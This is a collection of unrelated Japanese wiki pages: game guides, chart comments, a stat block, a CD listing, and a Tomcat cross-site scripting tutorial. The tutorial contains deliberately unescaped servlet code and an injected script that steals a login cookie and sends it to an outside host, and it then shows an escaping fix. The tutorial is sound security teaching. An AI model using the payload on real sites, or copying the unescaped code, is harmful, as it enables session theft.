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GENRE TITLE ARTIST bpm notes CLEAR RATE JUMP UP/HARDCORE Venom kors k vs L.E.D.-G 190 1624 n%(yyyy/mm/dd) 攻略・コメント 2Pは鏡のがやりやすそうだった。5・7皿の絡みが非常に多い。難易度は低め -- 名無しさん (2017-08-31 19 28 17) トリル主体の譜面で、初日のクリアレートが50%を切っており事故率は高め。13トリル、57トリルが両方出てくるので苦手なら乱かR乱で。個人的にはR乱があまり外れないように感じた -- 名無しさん (2017-08-31 23 20 49) 前半は小トリルの連続+皿で後半は同時押し譜面だと感じた。ラストに57トリル+皿が降ってくるので2Pは鏡推奨かな?地力DかE辺り -- 名無しさん (2017-09-01 00 02 27) 同じL.E.D.でトリル譜面のスチニーよりEXHは楽に感じた -- 名無しさん (2017-09-01 01 04 38) 回復と難所が分かれている譜面。トリルが多く、13トリルと57トリルが難所。前半は軸&小トリル多発に後半は同時押しとトリル。全体的にそれらに皿が混じるので1P2P共に苦手なら乱かR乱推奨。 -- 名無しさん (2017-09-01 01 40 43) 1p正規は終盤の13トリル+皿以外特に難所はないのでおすすめ -- 名無しさん (2017-09-01 02 55 12) 2P正規は恐ろしく皿がとりにくいので鏡か乱で -- 名無しさん (2017-09-02 19 07 25) 中盤丸ごと回復にあてられる地力があるなら難の方が楽 -- 名無しさん (2017-09-02 21 02 17) 1p正規はラストの1,3皿がしんどいのでエクハは乱推奨かな -- 名無しさん (2017-09-03 00 06 02) 何度か乱でやったが結局正規(1p)が一番bp少なかった -- 名無しさん (2017-09-03 07 55 00) Giudeccaの方が難しく感じる -- 名無しさん (2017-09-04 18 30 49) 体力と高速耐性さえあれば癖の強い11上位クラスよりも先に埋まる確率は高い。1P正規2P鏡が全体的に押しやすいのでラストの皿側のトリルは餡蜜で凌ごう -- 名無しさん (2017-09-05 22 16 17) 道中は完全に☆11レベル 終盤の1軸→57トリル+αゲーなのでまぐれ当たりで埋まる可能性も大いにあり得る ラスト数ノーツは全部繋げば6~8%回復出来るので諦めないように -- 名無しさん (2017-09-06 18 13 35) クリアランプ点けるだけなら恐らく今作☆12で一番簡単かも…該当コース完走出来る人には余裕だと思います -- 名無しさん (2017-09-07 00 32 27) BPM違うけどSTELLAR WIND(A)と同等くらいでは?難やEXHは餡蜜上等なら速い分←より楽かも。 -- 名無しさん (2017-09-08 00 01 16) SSS抜けれる人はまず落ちないと思う。 -- 名無しさん (2017-10-04 05 46 09) 前半はリズム難気味の小トリルと皿の連発で中々癖があり取りにくいのでBADハマリに注意。ブレイク後は同時押し+皿が主体となるが上記のように一度13トリル+皿、そしてラストに57トリル+皿の殺しがあるので苦手なようなら鏡かR乱を推奨する。ノマゲ以下の場合そこでほとんど勝負が決まるであろうので個人差E辺りか。 -- 名無しさん (2017-10-18 02 58 37) 13トリル+皿の前にある皿と同時押しが一瞬増えるところが地味にムズい。エクハだと即死することがあるので身構えておきましょう -- 名無しさん (2017-10-19 21 17 55) 計4回あるトリルのうち、1,3回目が13トリル、2,4回目が57トリル。ラストが57トリルに皿なので1P2Pで正規or鏡でやりやすい方を選ぶと良い。自分2Pで57ベチャ押ししながら皿でハードまでいけた。DOMINION(A)体験版みたいな譜面。 -- 名無しさん (2017-11-08 18 55 40) 前半INVISBLE STRIX改、後半DOMINION(仮)って感じ -- 名無しさん (2017-11-09 09 23 02) 個人差かもしれないが、AやRistacciaより簡単に思えた。 -- 名無しさん (2019-04-24 02 26 32) 素直かつ綺麗な譜面が続くため10や11の量産型譜面をきっちりこなしてきた人ほど早く埋まると思う -- 名無しさん (2019-04-24 09 07 41) 餡蜜得意であれば地力Eの中でも早く埋まる。 -- 名無しさん (2020-04-14 06 30 46) R乱も結構効く。正規鏡よりも楽かつ乱のように大外れすることもない -- 名無しさん (2020-04-15 14 29 00) SSCの次の☆12ノマゲがこれだった 個人的には☆11の地力A+辺りの曲よりよっぽど安定性良い。ノーツ1600超えの高速ではあるけど、体力的にもこれよりキツい☆11は結構ある気がする。曲も勢いあってカッコいいし☆12入り口枠としては良い立ち位置かも -- 名無しさん (2020-11-25 22 24 09) BP41+乱で難抜け。よほどのことが無い限りR乱が当たりやすいのでそっちが良いかも。1P側正規の場合、最後の13トリル+皿の破壊力が強く事故るとここだけで100→0が出るので注意。 -- 名無しさん (2021-03-13 00 21 28) 初見1P正規で逆ボ喰らって、しばらく正規とR乱で落ちまくってたけど、ふと鏡を試してみたら一発で易付いた。ラストは皿に合わせて13ベチャ押しで餡蜜したら結構残った。 -- 名無しさん (2021-06-24 17 20 22) 名前 コメント
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ポイント DBを参照して画面に出力するような場合、サニタイジング(スクリプトの無効化)を行う。 サニタイジングには、通常のテキスト部分と、タグ属性値部分それぞれで対応が異なる。 Script ~ /Script の範囲にデータを埋め込むのはNG! 引き続き、要勉強。 参考URL http //www.ipa.go.jp/security/awareness/vendor/programming/a01_02.html
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スクロール・オブ・ディスペル・マジック(Lv3) -- (名無しさん) 2006-08-24 12 54 01 スクロール・オブ・ディスペル・マジック(Lv3) -- (名無しさん) 2006-08-25 21 30 02 スクロール・オブ・ヒロイズム(Lv3) -- (名無しさん) 2006-08-25 21 30 24 スクロール・オブ・ウォーター・ブリージング -- (名無しさん) 2006-09-01 00 08 33
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スパイニー・ユーリプテリス Spiny Eurypterid Spiny eurypterids are aggressive, tenacious, and utterly unwilling to stop chasing prey, even to their own detriment. These creatures are covered with countless needle-like spikes and can grow to rival the size of ocean mammals like orcas. Sailors often find them clinging to the hulls of ships, as spiny eurypterids mistake them for prey and are too stubborn to let go. “知識の想起”――動物(〈自然〉) DC 20 一般的な知識 DC 18 専門知識 DC 15 スパイニー・ユーリプテリス Spiny Eurypterid クリーチャー5 N 大型 水陸両生 動物 出典 Bestiary 3 97ページ 知覚+10;暗視、波動知覚(不明瞭)30フィート 技能 〈運動〉+13、〈隠密〉+13 【筋】+4、【敏】+2、【耐】+5、【知】-5、【判】+1、【魅】-3 AC 22;頑健+16、反応+11、意志+10 HP 70 機会攻撃 [reaction] Stinger only. Chitinous Spines/Chitinous Spines A creature grabbed by the spiny eurypterid takes 2d6 piercing damage at the start of that creature's turn. 移動速度 40フィート、水泳40フィート 近接 [one-action] 鋏 +15[+10/+5]、ダメージ 2d8+4[斬撃]、加えてつかみ 近接 [one-action] 毒針 +15[+10/+5]、ダメージ 2d6+4[刺突]、加えてspiny eurypterid venom Spiny Eurypterid Venom/Spiny Eurypterid Venom (毒) セーヴィング・スロー 頑健 DC 22; 最大持続時間 6ラウンド;第1段階 1d8 poison damage and enfeebled 1 (1 round) 第2段階 1d8 poison damage and enfeebled 2 (1 round) 第3段階 2d8 poison damage and enfeebled 3 (1 round)
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【登録タグ CD CDV 六歌CD】 前作 本作 次作 - Venom ex machina Dramatic Irony 六歌 発売:20XX年00月00日 価格:¥1000(税込) 流通:即売 CD紹介 1stアルバム。 ジャケットイラスト/デザイン:ぞうあざらし 曲目 機械仕掛けの毒 Ruler Savior ソノ声ヲ聴カセテ メアリ 溜息とガラス Virgo Noise of Sterdust 舞う雪落ちて 葬送夜光 メアリ(ver.Ice Mountain) リンク コメント 名前 コメント
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Tomcatでクロスサイトスクリプティングの脆弱性があるアプリを作成して、クロスサイトスクリプティングを体験、それからクロスサイトスクリプティング対策を実施するサンプルです。 ■目次 まずは脆弱性のあるサンプルソース サンプルの説明 ダメなところ クロスサイトスクリプティングをやってみよう1 クロスサイトスクリプティングをやってみよう2 クロスサイトスクリプティング対策をしてみよう その他のクロスサイトスクリプティング対策 まずは脆弱性のあるサンプルソース xss.jsp %@ page language="java" contentType="text/html; charset=UTF8" pageEncoding="UTF-8" % html head title Xssサンプル /title meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /head body 名前: %= request.getAttribute("name") % br 内容: %= request.getAttribute("content") % hr form action= %=request.getContextPath()+"/xss"% method= GET お名前: input type="text" name="name" value= br 内容: textarea name="content" /textarea br /form /body /html Xss.java import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // JSPに渡すパラメータ req.setAttribute("name", ""); req.setAttribute("content", ""); // クッキー設定 resp.addCookie(new Cookie("userid", "hogehoge")); resp.addCookie(new Cookie("xss", "sample")); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); if (name == null) name = ""; String content = req.getParameter("content"); if (content == null) content = ""; content = content.replaceAll("\n", " br "); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } } web.xml ?xml version="1.0" encoding="ISO-8859-1"? web-app xmlns="http //java.sun.com/xml/ns/javaee" xmlns xsi="http //www.w3.org/2001/XMLSchema-instance" xsi schemaLocation="http //java.sun.com/xml/ns/javaee http //java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0" servlet servlet-name xss /servlet-name servlet-class Xss /servlet-class /servlet servlet-mapping servlet-name xss /servlet-name url-pattern /xss /url-pattern /servlet-mapping /web-app サンプルの説明 なんの変哲もない、画面からの入力をまた画面に表示する「掲示板もどき」なサンプルです。 /xxx にアクセス(GET)するとクッキーに userid を設定します。クッキーに userid が残っていればログイン中という判断 userid のルールはアルファベットの大文字小文字と 0 から 9 の数字とする。 名前と内容を入力して送信(POST)すると名前と内容をJSPに表示します。 このサンプルを普通に使うと以下のようになります。 ※submitボタンを省略しているので、名前のテキストボックスでエンターを押すとフォームの内容が送信されます。 Before ↓ After ダメなところ このサンプルの良くないところは、以下のパラメータを処理してJSPに渡す部分です。 // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); if (name == null) name = ""; String content = req.getParameter("content"); if (content == null) content = ""; content = content.replaceAll("\n", " br "); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); 教科書的に言えば、ここでパラメータの文字列から「 」「 」「 」「"」「 」の5種類をサニタイジングする必要があります。 ですが、今回のサンプルはまず脆弱性の体験が目的なのでサニタイジングは省略しています。 ※厳密に言うと、クッキーに保存した userid でログインしていると判断するのも危険ですが今回は無視してください。 クロスサイトスクリプティングをやってみよう1 まずは以下のように内容に「 script alert(document.cookie) /script 」と入力してみましょう。このスクリプトは、クッキーの内容をダイアログに表示するスクリプトです。 ↓ はい、サニタイジングしてないので見事にスクリプトが動作してクッキーの内容が表示されました。 ※クッキーはローカルに保存されるので、このようなスクリプトを使わなくても確認できます。 内容から、 userid がログインに使うIDだとわかるので、これを盗むスクリプトを動作させてみましょう。 クロスサイトスクリプティングをやってみよう2 次は以下のスクリプトを打ち込んでフォームを送信しましょう。 script var tag = document.createElement("script");tag.setAttribute("src","http //www46.atpages.jp/chapati/xss/sample1.js");document.getElementsByTagName("body").item(0).appendChild(tag); /script 以下のようなダイアログが表示されればXSS攻撃成功です。 上記のスクリプトは、攻撃者が用意したスクリプト「http //www46.atpages.jp/chapati/xss/sample1.js」を実行させるものです。 http //www46.atpages.jp/chapati/xss/sample1.jsの中身は以下のようになっています。 // クッキーからログインIDを抜き出す var userid = document.cookie.match(/userid=[a-zA-Z0-9]+/).toString().substring(7); // 攻撃サイトのURLにログインIDを追加し攻撃URLを作成 var url = "http //www46.atpages.jp/chapati/xss/" + userid; // スクリプトタグを作成 var tag = document.createElement("script"); // src属性に攻撃URLを設定 tag.setAttribute("src",url); // bodyタグにスクリプトタグを追加 document.getElementsByTagName("body").item(0).appendChild(tag); このスクリプトは、コメントにもあるとおり、クッキーからログインIDを抜き出し、ログインIDをURLに追加して攻撃者の用意したサイトにアクセスさせます。 今回のサンプルでは、ログインIDは「hogehoge」なので、「http //www46.atpages.jp/chapati/xss/hogehoge」にアクセスが発生すれば、攻撃者はURLからログインIDを取得できてしまいます。 ※今回は「XSS攻撃成功!」と表示するスクリプトを埋め込んでいますが、実際に攻撃されたときはそんなダイアログはでません。 クロスサイトスクリプティングの脆弱性があると、悪意のある javascript をいとも簡単に実行できることがお分かりいただけたでしょうか? 今回はクッキーの情報を盗むスクリプトですが、javsscriptを自由に実行されるとHTMLの中に書いてある情報全てを好きなだけ盗むことが可能になります。利用者の個人情報が表示されたページに、悪意のあるスクリプトを埋め込まれれば、もちろん個人情報だって盗めてしまうのです。 クロスサイトスクリプティング対策をしてみよう 今回のサンプルの脆弱性は、入力された文字をサニタイジングしないで表示していることです。ですから、サニタイジングを実施すればクロスサイトスクリプティング攻撃は成功しなくなります。 以下のソースコードが、サニタイジングを実施したサンプルです。 Xss.java(対策後) import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // JSPに渡すパラメータ req.setAttribute("name", ""); req.setAttribute("content", ""); // クッキー設定 resp.addCookie(new Cookie("userid", "hogehoge")); resp.addCookie(new Cookie("xss", "sample")); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); // if (name == null) name = ""; name = escapeHTML(name);// ★★★ 修正点 ★★★ String content = req.getParameter("content"); // if (content == null) content = ""; content = escapeHTML(content);// ★★★ 修正点 ★★★ content = content.replaceAll("\n", " br "); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } //★★★ 修正点 ★★★ public static String escapeHTML(String val) { if (val == null) return ""; val = val.replaceAll(" ", " amp;"); val = val.replaceAll(" ", " lt;"); val = val.replaceAll(" ", " gt;"); val = val.replaceAll("\"", " quot;"); val = val.replaceAll(" ", " apos;"); return val; } } 修正点は「 」「 」「 」「"」「 」をそれぞれ「 lt;」「 gt;」「 amp;」「"」「'」に変換する関数「escapeHTML」を追加したのと、「name」「content」パラメータを escapeHTML でサニタイジングしていることです。※wikiの表示の都合で の後に半角スペース入れています。 この修正を加えたサンプルで、再びスクリプトを入力してみると以下のような画面になります。 スクリプトが実行されず、そのまま画面に表示されていれば、クロスサイトスクリプティング対策成功です。 その他のクロスサイトスクリプティング対策 クロスサイトスクリプティングの対策には、大雑把に以下の様なものがあります。今回対策したのは、この中の「ウェブページに出力する全ての要素に対して、エスケープ処理を施す。」に過ぎません。他の対策については折をみて記事を追加していこうと思います。 HTMLテキストの入力を許可しない場合の対策ウェブページに出力する全ての要素に対して、エスケープ処理を施す。 URLを出力するときは、「http //」や「https //」で始まるURLのみを許可する。 script ... /script 要素の内容を動的に生成しない。 スタイルシートを任意のサイトから取り込めるようにしない。 入力値の内容チェックを行う。 HTMLテキストの入力を許可する場合の対策入力されたHTMLテキストから構文解析木を作成し、スクリプトを含まない必要な要素のみを抽出する。 入力されたHTMLテキストから、スクリプトに該当する文字列を排除する。 全てのウェブアプリケーションに共通の対策HTTPレスポンスヘッダのContent-Typeフィールドに文字コード(charset)を指定する。 Cookie情報の漏えい対策として、発行するCookieにHttpOnly属性を加え、TRACEメソッドを無効化する。 ※参考 IPA 安全なウェブサイトの作り方(PDF)
https://w.atwiki.jp/cod_ghosts/pages/149.html
Exodus 概要 全般追加された要素 攻略Exodusマップ模式図 エリア詳細 防衛戦 バグ 小ネタ インテル(吹き替え) "Exodus" 10 20 18 アーク出現より3ヶ月後 緊急対策部隊 - CIFチーム1 + ゲームスタート時のゴットファーザーの台詞 ゴットファーザーからCIF-1任務は街への電力供給を復旧し、何としてもExodus発射場を守ることだ。復旧すべきジェネレーターは、エリア内に6ヶ所存在している。フィールド上の6ヶ所全てが稼働しなければ発射準備に入れない。頼んだぞ、我々の命運は君たちにかかっている。 概要 DLC第四弾「Nemesis」で追加されたExtinctionモードEpisode 4 Exodus 全般 Extinctionモードの最後を飾るに相応しい難易度で、チームワークが重要となる。解除できる各種追加アーマリーも相応に強力。 複数エリアを順に進行する過去作と異なり、本作は1つの広大なエリアを任意の順で開放しながら進むマップ構成になっている。 新たな敵として古代人(Ancestor)が出現する。 Extinctionの5マップの中では、最終的に得られるスキルポイントが最多。(最大33ポイント/スキルポイントスタート有効で34) 追加された要素 NX-1ディスラプターVenom-Xシリーズに代わり今作の新規組み立てアイテムとして追加される単発/チャージショットの撃ち分けが可能エネルギーランチャー。装弾数は10発で時間経過で装弾数が回復する。レリック 弾薬制限で5発に装弾数が減少する。 右トリガーで小エネルギー弾のセミオート射撃ができる。威力はかなり高く、直撃ならソロの場合でスコーピオンやハンターを1発、ライノですら4~5発で沈めることができる。着弾点で小規模に爆発するので、群がってきたスカウトの群れなどに撃ちこんでもよい。 特筆すべきは左トリガーの長押しによって球状のエネルギー弾を発射できるチャージショット。10発分のエネルギーを使い高いダメージを与える他、古代人の展開するバリアを破壊することが出来る。弾速はかなり落ちるので敵の移動を見越した射撃を心がけよう。なお装弾数が最大でないと撃てない点に注意。弾薬制限のレリック時は5発分の装弾があれば撃てる。 古代人(Ancestor)Awakeningで存在が明らかになったクリプティッドを操る古代生命体。本作のボスとして最後の防衛戦に複数で襲来するほか、ジュネレーター起動中にも二体の別個体が出現する。 プレーヤーやジェネレーターを攻撃してくる他、小火器からの攻撃を防ぐバリアを展開する。バリア解除には前述のNX-1ディスラプターやNX-1グレネードを使おう。 クリプティッド召喚、バリア展開、念動力によるプレーヤーの空中拘束、およびエネルギー体の投射攻撃を行う。特にエネルギー体はジェネレーターの耐久度を著しく損ない、プレーヤーに向けて放たれた場合ホーミングするので非常に厄介。トロフィーシステムで撃ち落とせるので、拾ったら要所に展開しておこう。 倒すと周囲のエイリアンを一掃する衝撃波を放って消滅する。一匹あたり$3500と1スキルポイント貰えるので、道中でも可能なら倒してキャッシュとスキルポイントを潤しておきたい。 設計図と組み立てアイテムMayday同様作業台の設計図から各種アイテムを作ることができる。今作で作れるアイテムは以下の通り。 名称 パーツ1 パーツ2 パーツ3 備考 NX-1ディスラプター 脳ハウジング 脳基質 リキッドバッテリー 装弾数10発のエネルギーランチャー。詳しくは上記参照 NX-1グレネード グレネードケーシング ヒューズ 脳ジェル ディスラプターのチャージショット効果があるグレネード。投擲で瞬時にバリアを剥がす事が出来るのでNX-1と使い分けよう。 パイプ爆弾 TNT ヒューズ パイプ Maydayの同項目を参照 スティッキーフレア TNT ヒューズ 樹脂 同上 Venomグレネード(X) グレネードケーシング グレネード起爆装置 発光体 Awakeningの同項目を参照 Venomグレネード(FX) オレンジ発光体 Venom-Xグレネードの火炎版。 Venomグレネード(LX) 青色発光体 Venom-Xグレネードの電気版。 テスラトラップ(ベーシック) 分子磁極 ワイヤー セルバッテリー Maydayの同項目を参照フィールドに据え置かれているテスラ アンチエアーディフェンスとは電流を連鎖させることは出来ない。 テスラトラップ(ミディアム) リキッドバッテリー 同上 テスラトラップ(アドバンス) ニュークリアバッテリー 同上 催眠トラップ 発光体 セルバッテリー プレッシャープレート Maydayの同項目を参照 攻略 従来のマップと異なり、Exodusでは任意の順番で複数に分割された1マップ内を巡回する事になる。 プレーヤーの目的は6か所のジェネレーターを起動し基地に戻ることだが、開放できる8か所中3か所に2つずつしかジェネレーターは存在しない。 各領域はゲートで繋がっており、ジェネレーターの無い領域であってもゲート開放によりチャレンジとその達成によるスキルポイントが発生する。 ゲートは開放することで一方が開放しチャレンジが与えられ、時間経過でもう一方が開放され通路として成立する。 最短6か所の開放で全ジェネレーターは起動できるが、未開放領域分のポイントは貰えないことになる。 ゲート開放とジェネレーター起動の難易度は独立しており、それぞれ進行する度に出現エイリアンが手ごわくなる。 例えばゲート全開放を最初に行うと最終ゲートではライノの群れ、その後1つめのジェネレーター起動ではスカウトばかりになる。 スキルポイントによる火力の向上と難易度を天秤にかけながら進めるとよいだろう。 Exodusマップ模式図 駐車場-ガソリンスタンド通路 ━━ ○☆駐車場 ━━━ 駐車場-オフィス通路 ┃ ┃ ┃ ○ガソリンスタンド 基地-駐車場通路 ○オフィスビル ┃ ┃ ┃ ☆基地-ガソリンスタンド通路 ━━━ 基地 ━━━━━ ☆基地-オフィス通路 ○印がジェネレーターが、☆印が設計図が存在 エリア詳細 以下に各領域について簡単に示す。coop時はメンバーで集団行動を心がけたい。 基地 スタート位置であり最終防衛戦の舞台となる。開始時から見て正面と左右にゲートがあり、どれか一つを選んで進んで行こう。 右手後方にの小部屋に作業台があるためすぐにでも組み立てアイテムが作れるが、別の設計図が手に入るまで残しておくのも手。 武器名 カテゴリ 価格 場所 備考 Chain SAW LMG $3000 左手前方足場を昇った上 VKS SR $1500 右手前方足場を昇った上 基地-駐車場通路 基地から正面ゲートを開けて侵入し駐車場エリアへと繋がる通路。 組み立てアイテムの材料となる赤い工具箱が沢山落ちているので駐車場に設計図があるNX-1ディスラプターを組み立てるとよい。 武器名 カテゴリ 価格 場所 備考 Maverick AR $1500 駐車場内の車の間 Tac 12 SG $2000 基地の左手壁際 Ripper SMG $1500 エリア左手突き当り壁際 基地-ガソリンスタンド通路 基地から左手に伸びるガソリンスタンド行きの通路。 見通しがよくテスラトラップもあるので最後に開放するゲートにしても難易度は低め。 しかしここには有用なスティッキーフレアとVenom-グレネードの設計図があるため早めに開放したいというのも本音。 ここには隠しインテルがあり、テスラトラップのすぐ上にある看板を「NEVERSOFT」の順で撃つことで取得することができる。 武器名 カテゴリ 価格 場所 備考 Maverick AR $1500 基地から出て右手沿いの壁際 Remington R5 AR $2000 左手ビルの支柱の陰 駐車場-ガソリンスタンド通路 ガソリンスタンド側/駐車場側のゲートを開放して開通する狭く短い経路。終盤に開けるとライノやマンモスに囲まれやすい。 ゲート難易度の低い序盤に開放するか、ガソリンスタンド側から開けるといざという時テスラトラップの防衛力に頼ることができる。 武器名 カテゴリ 価格 場所 備考 MK14 EBR MR $2000 ゴミ袋の近く 基地-オフィス通路 フェンスに囲まれた中央にそびえるテスラトラップ台が特徴的な通路。パイプ爆弾とVenom-グレネードの設計図がある。 テスラ台の下の小部屋は敵に追われて逃げ込むと反対の出口から挟撃される危険があるので要注意。 工具箱やロッカーは配置されておらず、通常のサーチ箱も少なめ。敢えて未開放エリアを残すならここもお勧め。 武器名 カテゴリ 価格 場所 備考 MK14 EBR MR $2000 ゴミ袋の近く 駐車場-オフィス通路 屋内の通路と外に開けた部分から成る細道。 外に出るとガーゴイルやスコーピオンの攻撃に体を晒す事になるので伏せ撃ちチャレンジ等は屋内で済ませてしまおう。 武器名 カテゴリ 価格 場所 備考 VKS SR $1500 土嚢・ブロックの陰 ガソリンスタンド ジェネレーターがガソリンスタンドの屋根の上下に配置されているエリア。基地から見て左手に進んだ位置にある。 テスラトラップが二つ、ゲート部分に電気トラップが一つあるので、チャレンジに差し支えない範囲で活用したい。 エリア内二つ目のジェネレーターを起動すると古代人が奥から出現する。 屋根の上のジェネレーターは古代人のエネルギー体が当たらないので後に起動するのがオススメ。 開けた地形で高低差がありトラップも強力という条件上、ジェネレーターがあるエリアの内最も難易度が低いと思われる。 他のエリアを後回しにすると閉所でライノやマンモスに蹂躙されるので、このエリアを最後に起動すると多少は楽。 武器名 カテゴリ 価格 場所 備考 Remington R5 AR $2000 ガソリンスタンドの支柱付近 K7 SMG $2000 屋根の下のジェネレーター近傍 Bulldog SG $2500 空気入れの近く Kastet ランチャー $1500 エリア左手電灯の根元 駐車場 スタート位置正面ゲートから進んだ先に位置する崩壊した駐車場エリア。NX-1ディスラプターの設計図が置いてあるのもこの場所。 テスラトラップとファイアートラップが一機ずつ据え付けられているが効果範囲が限定的なので過信は禁物。 ガソリンスタンドエリア同様、二つのジェネレーターの内後に起動した際に古代人が駐車場の外に出現し、横穴の外から攻撃してくる。 このエリアは古代人のエネルギー体投射やライノ、マンモスの殴りダメージでジェネレーターが破壊されやすく、失敗の原因となりやすい。 ジェネレーター起動が遅めの順番になるならVenom-グレネードやスティッキーフレア等、十分な準備をして挑戦しよう。 武器名 カテゴリ 価格 場所 備考 Ameli LMG $3000 ガソリンスタンド-駐車場を結ぶ通路のゲート付近 IA-2 MR $2000 同上 Maverick AR $1500 エリア正面突き当りの壁際 Tac 12 SG $2000 テスラトラップのスイッチ付近 Ripper SMG $1500 建屋-駐車場を結ぶ通路のゲート付近 VKS SR $1500 左手奥にあるジェネレーター付近 オフィスビル 各階にジェネレーターが配置された二階建ての建物。 天井と二階の床が崩落して貫通しているため、高低差チャレンジなどに上手に使おう。 トラップの火力に一切期待できないため、このエリアの防衛には個人火力とストライクパッケージが物を言う。 ジェネレーターのあるエリアのうち、このエリアのみ古代人が出現しないが、狭い室内をライノ等に荒らされると一気に崩壊するので油断は禁物。 スコーピオンの酸攻撃の影響が大きいエリアでもあるのでアーマー、五感ブースト係がこまめに物資を出すと無駄なダウンを防げる。 武器名 カテゴリ 価格 場所 備考 Remington R5 AR $2000 二階、崩落した穴付近の外周 IA-2 MR $2000 同上 Ameli LMG $3000 二階、ジェネレーター近くの柱の影 K7 SMG $2000 一階、カウンターのある小部屋 Bulldog SG $2500 一階、二階へ上る階段の側 防衛戦 全ジェネレーターを起動し基地に戻るとクロス博士のイベントの後、全員でメデューサを起動すると防衛戦開始になる。 古代人が一匹ずつ、3方向から順番に現れゲートを破壊しながら他エイリアンと共に基地内部に侵入してくる。 古代人一匹毎にチャレンジが発生するので達成したらスキルポイントを振るのを忘れずに。 最初の三匹を倒した後でも時間経過で追加の古代人が続々と出現するが、追加個体にはチャレンジは発生しない。 メデューサデバイスのゲージは古代人を倒すことによって大きく増加させることができる。 エイリアンの攻撃を受けてもデバイスは破壊されることはないが、その間はゲージはほぼ伸びないので事実上デバイス防衛戦となる。 ゲージが貯まりきったら「全員で」再度メデューサデバイスのスイッチを押せば晴れてゲームクリアとなる。 この際足並みが揃わないと最悪の場合全滅するので、起動のアナウンスが入ったらすぐにデバイスの付近に集まることを心がけよう。 スイッチは必ず全員で押す必要があり、他の人が全員ダウン状態でもスイッチは押せない。 基地には据付けのテスラ アンチエアーディフェンスやCIWSターレット、ミニガンターレットがある。 特にテスラトラップは基地内に侵入するエイリアンを半減できるので常にオンにしておきたい。 その各種防衛装置は動力を基地左手後方にあるジュネレーターに依存している。 防衛戦では左手から出現する古代人に破壊され暫く使えなくなるので、トラップを再使用するには修理が必要。 マップ各地のジェネレーターの3倍近い修理時間がかかるのでエンジニアや酸に強いメディックが修理し、周囲を守るパートナーが付くとよい。 ちなみにこの攻撃、イベント上の演出らしくトロフィーシステムで撃墜(稀に撃墜してくれない)してもジェネレーターが壊れる。どういうことだよ 各ゲートごとに出現するクリプティッドが決まっており、 正面ゲートはライノ、シーカー 東ゲートはガーゴイル、ボマー 西ゲートはスコーピオン、ファントム である。 常時発生のクリプティッドはスカウトである。ハンターは古代人による召喚時のみ出現する。 また、長引きすぎるとマンモスも出現、さらに全クリプティドが出現する。その長引いた際の敵を全てせん滅するとスカウト4体だけになり、非常に寂しくなる。 バグ クロス博士消失バグ全ジェネレーターを起動し基地に戻ってもクロス博士が出現せず、防衛戦への移行が不能になるバグがある。(360版とPS4版 で2014/9/6時点で確認) ジェネレーター起動戦で起動前に倒し損ねた古代人を帰路の最中にキルすると発生との事。(海外フォーラム情報 2016 360にて確認) ジェネレーター起動後も古代人が止まってる間は倒してもセーフだった。帰路の最中に倒すと事象発生を確認。 このバグが発生した場合クリア不能なので、残念ながら諦めてゲームを終了するしかない。 古代人体力ゲージ移行バグ古代人を倒した後、古代人の図上に表示されていた体力ゲージが他の雑魚エイリアンに伝染するバグがある。 体力ゲージの移行したエイリアンを倒しても次から次にフィールドに現れるエイリアンに移る。 古代人バグ1ガソリンスタンドの古代人の関節がおかしくなるバグ。(PS3版で2014/9/25時点で確認) このバグが発生するとまるでマルチプレイの人の死体のように、古代人が通常とらないポーズをとったり、関節があらぬ方向に曲がるというシュールな光景が見れる。当たり判定もそのおかしい状態が適用される。 このバグが起こってもゲーム進行には影響が出ない。それどころか古代人がなかなか戻らなくなるので有利なバグ。 古代人バグ2(PS3版で2015/4月辺りで確認)最後の攻防戦、東ゲートで確認。古代人の死亡演出が入ったにも関わらず、演出終了後しばらく平然と立ち続けていることがある。すぐに消滅せず、3500$が貰えないため、こちらは不利になるバグ。 小ネタ イースターエッグ従来のマップ同様、本作にも隠されたイースターエッグが存在する。 基地、建屋、ガソリンスタンドの3エリアに1個ずつ、作業台やドラム缶の上に串刺しになった目玉が落ちている。(CoD GHOSTS開発に携わったNEVERSOFTのアイコンである) サーチアイテム同様エイムしながら拾うボタンの長押しで拾う事が出来る。三つ目を拾得した瞬間青い電流と共に画面に星が流れ、All Perk+感覚ブースト状態になる。また、敵を倒す度に串刺しの目玉が3~4個飛び散る。 工具箱が余る?このマップは全域を開放しても工具箱は30個きっちり置かれている時と、28個しか置かれていない時がある。恐らくは内部的なデータのバグだと思われる。ソロマッチやカスタムマッチの際のマップ選択も、Exodusだけなぜか説明が英語。 配置数が28だった場合は最終的に工具箱が中途半端に余ってしまう。 MaydayとAwakeningでの工具箱配置数はいずれも3の倍数きっかりであり、各色発光体の厳選でもしない限り余る事は無かった。 侵入拒否最後の防衛線で出現する古代人、頑張れば門を破壊される前に倒しきることも可能。 相当な火力を集中させる必要があるが、門が侵入口にならない分アンチエアトラップで処理しやすくなり後の進行が気持ち楽になる。 見捨てたことを忘れない?日本語吹き替え版における、最後の防衛戦前に登場するクロス博士が誤訳?によりきついことを言っている。 「あなた達が見捨てたことを忘れない」、これでは「見捨てた恨み、一生忘れない」と言っているようなもの。 原文は「you don't just save my life, you change the fate of human species. we won't forget that.」 